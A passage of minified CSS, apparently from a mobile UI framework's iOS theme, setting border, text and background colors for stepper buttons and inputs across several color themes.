.stepper .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .color-theme-orange .stepper .stepper-value{color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .color-theme-gray .stepper .stepper-button,.ios .color-theme-gray .stepper .stepper-button-minus,.ios .color-theme-gray .stepper .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .stepper .stepper-button-minus.active-state,.ios .color-theme-gray .stepper .stepper-button-plus.active-state,.ios .color-theme-gray .stepper .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .color-theme-gray .stepper .stepper-button-minus:after,.ios .color-theme-gray .stepper .stepper-button-minus:before,.ios .color-theme-gray .stepper .stepper-button-plus:after,.ios .color-theme-gray .stepper .stepper-button-plus:before{background-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap,.ios .color-theme-gray .stepper .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-value{color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap input{color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .color-theme-white .stepper .stepper-button,.ios .color-theme-white .stepper .stepper-button-minus,.ios .color-theme-white .stepper .stepper-button-plus{border-color:#fff;color:#fff}.ios .color-theme-white .stepper .stepper-button-minus.active-state,.ios .color-theme-white .stepper .stepper-button-plus.active-state,.ios .color-theme-white .stepper .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .color-theme-white .stepper .stepper-button-minus:after,.ios .color-theme-white .stepper .stepper-button-minus:before,.ios .color-theme-white .stepper .stepper-button-plus:after,.ios .color-theme-white .stepper .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap,.ios .color-theme-white .stepper .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .color-theme-white .stepper .stepper-value{color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .color-theme-black .stepper .stepper-button,.ios .color-theme-black .stepper .stepper-button-minus,.ios .color-theme-black .stepper .stepper-button-plus{border-color:#000;color:#000}.ios .color-theme-black .stepper .stepper-button-minus.active-state,.ios .color-theme-black .stepper .stepper-button-plus.active-state,.ios .color-theme-black .stepper .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .color-theme-black .stepper .stepper-button-minus:after,.ios .color-theme-black .stepper .stepper-button-minus:before,.ios .color-theme-black .stepper .stepper-button-plus:after,.ios .color-theme-black .stepper .stepper-button-plus:before{background-color:#000}.ios .color-theme-black .stepper .stepper-input-wrap,.ios .color-theme-black .stepper .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .color-theme-black .stepper .stepper-value{color:#000}.ios .color-theme-black .stepper .stepper-input-wrap input{color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.ios .stepper.color-red .stepper-button,.ios .stepper.color-red .stepper-button-minus,.ios .stepper.color-red .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .stepper.color-red .stepper-button-minus.active-state,.ios .stepper.color-red .stepper-button-plus.active-state,.ios .stepper.color-red .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .stepper.color-red .stepper-button-minus:after,.ios .stepper.color-red .stepper-button-minus:before,.ios .stepper.color-red .stepper-button-plus:after,.ios .stepper.color-red .stepper-button-plus:before{background-color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap,.ios .stepper.color-red .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .stepper.color-red .stepper-value{color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap input{color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button,.ios .stepper.color-red.stepper-fill .stepper-button-minus,.ios .stepper.color-red.stepper-fill .stepper-button-plus,.ios .stepper.color-red.stepper-fill-ios .stepper-button,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill .stepper-button-plus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .stepper.color-green .stepper-button,.ios .stepper.color-green .stepper-button-minus,.ios .stepper.color-green .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .stepper.color-green .stepper-button-minus.active-state,.ios .stepper.color-green .stepper-button-plus.active-state,.ios .stepper.color-green .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .stepper.color-green .stepper-button-minus:after,.ios .stepper.color-green .stepper-button-minus:before,.ios .stepper.color-green .stepper-button-plus:after,.ios .stepper.color-green .stepper-button-plus:before{background-color:#4cd964}.ios .stepper.color-green .stepper-input-wrap,.ios .stepper.color-green .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .stepper.color-green .stepper-value{color:#4cd964}.ios .stepper.color-green .stepper-input-wrap input{color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button,.ios .stepper.color-green.stepper-fill .stepper-button-minus,.ios .stepper.color-green.stepper-fill .stepper-button-plus,.ios .stepper.color-green.stepper-fill-ios .stepper-button,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill .stepper-button-plus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .stepper.color-blue .stepper-button,.ios .stepper.color-blue .stepper-button-minus,.ios .stepper.color-blue .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .stepper.color-blue .stepper-button-minus.active-state,.ios .stepper.color-blue .stepper-button-plus.active-state,.ios .stepper.color-blue .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .stepper.color-blue .stepper-button-minus:after,.ios .stepper.color-blue .stepper-button-minus:before,.ios .stepper.color-blue .stepper-button-plus:after,.ios .stepper.color-blue .stepper-button-plus:before{background-color:#007aff}.ios .stepper.color-blue .stepper-input-wrap,.ios .stepper.color-blue .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .stepper.color-blue .stepper-value{color:#007aff}.ios .stepper.color-blue .stepper-input-wrap input{color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button,.ios .stepper.color-blue.stepper-fill .stepper-button-minus,.ios .stepper.color-blue.stepper-fill .stepper-button-plus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper.color-pink .stepper-button,.ios .stepper.color-pink .stepper-button-minus,.ios .stepper.color-pink .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .stepper.color-pink .stepper-button-minus.active-state,.ios .stepper.color-pink .stepper-button-plus.active-state,.ios .stepper.color-pink .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .stepper.color-pink .stepper-button-minus:after,.ios .stepper.color-pink .stepper-button-minus:before,.ios .stepper.color-pink .stepper-button-plus:after,.ios .stepper.color-pink .stepper-button-plus:before{background-color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap,.ios .stepper.color-pink .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .stepper.color-pink .stepper-value{color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap input{color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button,.ios .stepper.color-pink.stepper-fill .stepper-button-minus,.ios .stepper.color-pink.stepper-fill .stepper-button-plus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .stepper.color-yellow .stepper-button,.ios .stepper.color-yellow .stepper-button-minus,.ios .stepper.color-yellow .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .stepper.color-yellow .stepper-button-minus.active-state,.ios .stepper.color-yellow .stepper-button-plus.active-state,.ios .stepper.color-yellow .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .stepper.color-yellow .stepper-button-minus:after,.ios .stepper.color-yellow .stepper-button-minus:before,.ios .stepper.color-yellow .stepper-button-plus:after,.ios .stepper.color-yellow .stepper-button-plus:before{background-color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap,.ios .stepper.color-yellow .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .stepper.color-yellow .stepper-value{color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap input{color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .stepper.color-orange .stepper-button,.ios .stepper.color-orange .stepper-button-minus,.ios .stepper.color-orange .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .stepper.color-orange .stepper-button-minus.active-state,.ios .stepper.color-orange .stepper-button-plus.active-state,.ios .stepper.color-orange .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .stepper.color-orange .stepper-button-minus:after,.ios .stepper.color-orange .stepper-button-minus:before,.ios .stepper.color-orange .stepper-button-plus:after,.ios .stepper.color-orange .stepper-button-plus:before{background-color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap,.ios .stepper.color-orange .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .stepper.color-orange .stepper-value{color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap input{color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button,.ios .stepper.color-orange.stepper-fill .stepper-button-minus,.ios .stepper.color-orange.stepper-fill .stepper-button-plus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .stepper.color-gray .stepper-button,.ios .stepper.color-gray .stepper-button-minus,.ios .stepper.color-gray .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .stepper.color-gray .stepper-button-minus.active-state,.ios .stepper.color-gray .stepper-button-plus.active-state,.ios .stepper.color-gray .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .stepper.color-gray .stepper-button-minus:after,.ios .stepper.color-gray .stepper-button-minus:before,.ios .stepper.color-gray .stepper-button-plus:after,.ios .stepper.color-gray 